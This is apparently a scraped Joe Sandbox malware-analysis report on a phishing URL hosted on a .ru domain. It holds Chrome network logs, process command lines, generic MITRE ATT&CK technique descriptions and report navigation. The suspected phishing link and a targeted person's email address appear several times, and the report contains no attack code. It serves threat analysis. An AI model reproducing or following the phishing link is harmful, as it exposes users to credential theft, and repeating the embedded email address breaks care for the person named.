2025-03-26 23:48:03 UTC	433	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 38 30 37 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 38 32 35 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 34 2e 38 30 2e 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 63 32 75 61 68 2e 79 61 7a 76 62 71 6b 6c Data Ascii: [{"age":58070,"body":{"elapsed_time":825,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"172.64.80.1","status_code":404,"type":"http.error"},"type":"network-error","url":"https://c2uah.yazvbqkl
2025-03-26 23:48:03 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Wed, 26 Mar 2025 23:48:02 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49770	35.190.80.1	443	5376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:48:03 UTC	519	OUT	POST /report/v4?s=rQqTF4CtgIH48AzalsQ0O9%2F4mGxmmUXEhxrWG1GVb8jgkQZry65do9hxKyXGdA4TxnMsWQBe2O2IJ21qv%2By8991DEakY4qOl%2FUwqcSXfW6ImtOtOsNTzuhqDhqw%2FFwt1DUtZ HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 435 Content-Type: application/reports+json Origin: https://c2uah.yazvbqkl.ru User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 23:48:03 UTC	435	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 39 33 39 33 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 38 33 38 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 63 32 75 61 68 2e 79 61 7a 76 62 71 6b 6c 2e 72 75 2f 51 50 49 6d 76 35 66 66 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 34 2e 38 30 2e 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 Data Ascii: [{"age":59393,"body":{"elapsed_time":838,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://c2uah.yazvbqkl.ru/QPImv5ff/","sampling_fraction":1.0,"server_ip":"172.64.80.1","status_code":404,"type":"http.error"},"type":"network-e
2025-03-26 23:48:03 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Wed, 26 Mar 2025 23:48:02 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Statistics

CPU Usage

• chrome.exe
• chrome.exe
• chrome.exe

Click to jump to process

Memory Usage

• chrome.exe
• chrome.exe
• chrome.exe

Click to jump to process

Click to jump to process

Target ID:	1
Start time:	19:46:42
Start date:	26/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	19:46:44
Start date:	26/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2468,i,17262453580644032668,2963908669655429750,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2312 /prefetch:3
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	19:46:50
Start date:	26/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://c2uah.yazvbqkl.ru/QPImv5ff/#Mjessie.smith@aol.com"
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://c2uah.yazvbqkl.ru/QPImv5ff/#Mjessie.smith@aol.com

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 61

Chrome Cache Entry: 62

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Static File Info

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

Behavior

System Behavior

Analysis Process: chrome.exePID: 1232, Parent PID: 3464

General

Windows Analysis Report
https://c2uah.yazvbqkl.ru/QPImv5ff/#Mjessie.smith@aol.com